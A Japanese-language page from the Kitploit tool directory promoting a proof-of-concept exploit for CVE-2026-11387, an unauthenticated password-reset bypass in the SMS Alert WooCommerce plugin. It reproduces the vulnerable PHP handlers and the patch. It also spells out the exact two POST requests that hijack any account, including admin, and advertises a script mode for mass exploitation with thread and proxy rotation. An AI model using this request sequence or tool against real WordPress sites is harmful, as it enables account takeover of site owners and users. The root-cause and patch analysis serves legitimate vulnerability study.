Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/1beelze/cve-2026-11387
パスワード攻撃脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト認証
GitHub1beelze/cve-2026-11387

CVE-2026-11387

CVE-2026-11387 の概念実証エクスプロイト、SMS Alert WooCommerce プラグインにおける OTP バイパスと任意のパスワードリセットを介した認証不要の権限昇格脆弱性。

リポジトリを見る
11ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-11387 — SMS Alert ≤ 3.9.5

☆ 未認証の権限昇格(任意のパスワードリセット経由) ☆
=== Beelze ===


📋 脆弱性情報

項目詳細
CVE IDCVE-2026-11387
CVSSスコア9.8 Critical
CVSSベクトルCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
タイプ認証欠如 / OTPバイパス
プラグインSMS Alert – WooCommerce向けOTP認証 (sms-alert)
影響を受けるバージョン≤ 3.9.5
修正バージョン3.9.6
公開日2026
PoCBeelze

🔍 説明

SMS Alert – WooCommerce向けOTP認証 ≤ 3.9.5 には、任意のパスワードリセットを介した 未認証の権限昇格 の脆弱性があります。このプラグインのパスワードリセットハンドラは、$_REQUEST['option'] が文字列 smsalert-change-password-form であることのみをチェックしてリセットアクションを検証しており、OTPチャレンジが完了したかどうかを確認していません。

セッションシード機構の深刻な競合状態により、攻撃者は2つのHTTPリクエストで任意のアカウントを乗っ取ることができます。

  1. ターゲットの user_login で lost-password フォームに POST すると、smsalert_site_challenge_otp() がトリガーされ、OTPが検証されずに $_SESSION['user_login'] が設定されます。
  2. 選択した新しいパスワードとともに option=smsalert-change-password-form を POST すると、routeData() が事前設定された $_SESSION['user_login'] を読み取り、無条件に reset_password() を呼び出します。
  3. 新しい認証情報でログイン — アカウント乗っ取り確定。
  4. この攻撃は認証、OTP、被害者の操作を一切必要としません。
  5. 対象ユーザーがWooCommerceに請求先電話番号を登録している場合、管理者を含む任意のWordPressアカウントが乗っ取られる可能性があります。

影響: 請求先電話番号が登録されているすべてのユーザーに対して、完全な未認証アカウント乗っ取りが可能です。攻撃者は被害者のロールと権限で永続的なアクセスを取得します。


🧬 根本原因分析

1. 無認証 AJAX フックの登録

root@kitploit:~
// sms-alert/smsalert.php
add_action( 'wp_ajax_nopriv_smsalert_reset_otp',      [ $this, 'smsalert_site_challenge_otp' ] );
add_action( 'wp_ajax_nopriv_smsalert_change_password', [ $this, 'routeData' ] );

2. OTPチャレンジが検証なしでセッションを設定

root@kitploit:~
// handler/forms/class-wpresetpassword.php
public function smsalert_site_challenge_otp() {
    $user_login = sanitize_text_field( $_REQUEST['user_login'] );
    $user       = get_user_by( 'login', $user_login )
               ?: get_user_by( 'email', $user_login );

    if ( $user ) {
        // ❌ $_SESSION['user_login'] is set HERE — before OTP verification
        $_SESSION['user_login']      = $user->user_login;
        $_SESSION['smsalert_otp']    = $this->generate_otp();
        $_SESSION[self::SESSION_VAR] = 'otp_sent';  // NOT 'validated'
        $this->send_otp( $user );
    }
}

3. routeData() は $_REQUEST['option'] のみをチェック — セッション状態のガードなし

root@kitploit:~
// handler/forms/class-wpresetpassword.php
public function routeData() {
    $option = sanitize_text_field( $_REQUEST['option'] ?? '' );

    if ( $option === 'smsalert-change-password-form' ) {
        // ❌ MISSING: if ( $_SESSION[self::SESSION_VAR] !== 'validated' ) { return; }
        $this->reset_password();
    }
}

4. reset_password() が事前設定されたセッションを使用して無条件に実行

root@kitploit:~
// handler/forms/class-wpresetpassword.php
private function reset_password() {
    $user_login = $_SESSION['user_login'] ?? '';  // poisoned by smsalert_site_challenge_otp()
    $new_pass   = sanitize_text_field( $_REQUEST['smsalert_user_newpwd'] );
    $confirm    = sanitize_text_field( $_REQUEST['smsalert_user_cnfpwd'] );

    if ( $new_pass !== $confirm || empty( $user_login ) ) { return; }

    $user = get_user_by( 'login', $user_login );
    if ( $user ) {
        wp_set_password( $new_pass, $user->ID );  // ✅ password changed — no OTP required
        wp_redirect( add_query_arg( 'password_reset', 'true', wp_login_url() ) );
        exit;
    }
}

5. バージョン3.9.6でのパッチ — セッション状態ガードの追加

root@kitploit:~
// handler/forms/class-wpresetpassword.php (fixed)
public function routeData() {
    $option = sanitize_text_field( $_REQUEST['option'] ?? '' );

    if ( $option === 'smsalert-change-password-form' ) {
        // ✅ FIXED: OTP must be validated before reset is allowed
        if ( ( $_SESSION[self::SESSION_VAR] ?? '' ) !== 'validated' ) {
            wp_die( 'OTP verification required.' );
        }
        $this->reset_password();
    }
}

⚔️ 攻撃チェーン

root@kitploit:~
Attacker (no auth)
     │
     │  POST /my-account/lost-password/
     │  body: user_login=admin
     ▼
┌─────────────────────────────────────────┐
│  smsalert_site_challenge_otp()          │
│  → $_SESSION['user_login'] = 'admin'   │  ← session poisoned 💀
│  → $_SESSION[SESSION_VAR] = 'otp_sent' │
│  → OTP sent to victim's phone           │
│  (attacker never sees the OTP)          │
└─────────────────────────────────────────┘
     │
     │  POST /my-account/lost-password/
     │  body: option=smsalert-change-password-form
     │        smsalert_user_newpwd=Pwned123!
     │        smsalert_user_cnfpwd=Pwned123!
     ▼
┌─────────────────────────────────────────┐
│  routeData()                            │
│  → checks $_REQUEST['option'] only      │
│  → SESSION_VAR check: SKIPPED ❌        │
│  → reset_password() called              │
│  → wp_set_password('admin', newpwd)     │  ← password changed 😈
└─────────────────────────────────────────┘
     │
     │  POST /wp-login.php
     │  log=admin  pwd=Pwned123!
     ▼
┌─────────────────────────────────────────┐
│  Login SUCCESS                          │
│  wordpress_logged_in_* cookie set       │  ← TAKEOVER CONFIRMED 💀
└─────────────────────────────────────────┘

🛠️ ツール

CVE-2026-11387.py — 完全なエクスプロイトチェーン

root@kitploit:~
# Single target exploit
python CVE-2026-11387.py
# → Mode 1, enter target URL + username

# Username enumeration only
python CVE-2026-11387.py
# → Mode 2

# Mass exploit (multi-threaded + proxy rotation)
python CVE-2026-11387.py
# → Mode 3, targets.txt, threads, proxy file

# Fingerprint only (no exploit)
python CVE-2026-11387.py
# → Mode 4, outputs CSV
root@kitploit:~
Exploit Phases:
  Phase 1 — Reachability check + HTTP fallback
  Phase 2 — Version fingerprint via readme.txt
  Phase 3 — Username enumeration (REST API / sitemap / author archive)
  Phase 4 — OTP challenge trigger (session poisoning)
  Phase 5 — Password reset via routeData() bypass
  Phase 6 — Login verification (wordpress_logged_in_* cookie)
root@kitploit:~
Sample output (scan_results/CVE-2026-11387_success.txt):
  [2026-07-03 12:00:00] SITE=https://target.com | user=admin | pass=Tmp_P0c_2026!Aa

🔒 緩和策

SMS Alert を バージョン 3.9.6 以降に更新してください。


[Beelze] — 教育および許可されたセキュリティ研究のみを目的としています

ツールをダウンロード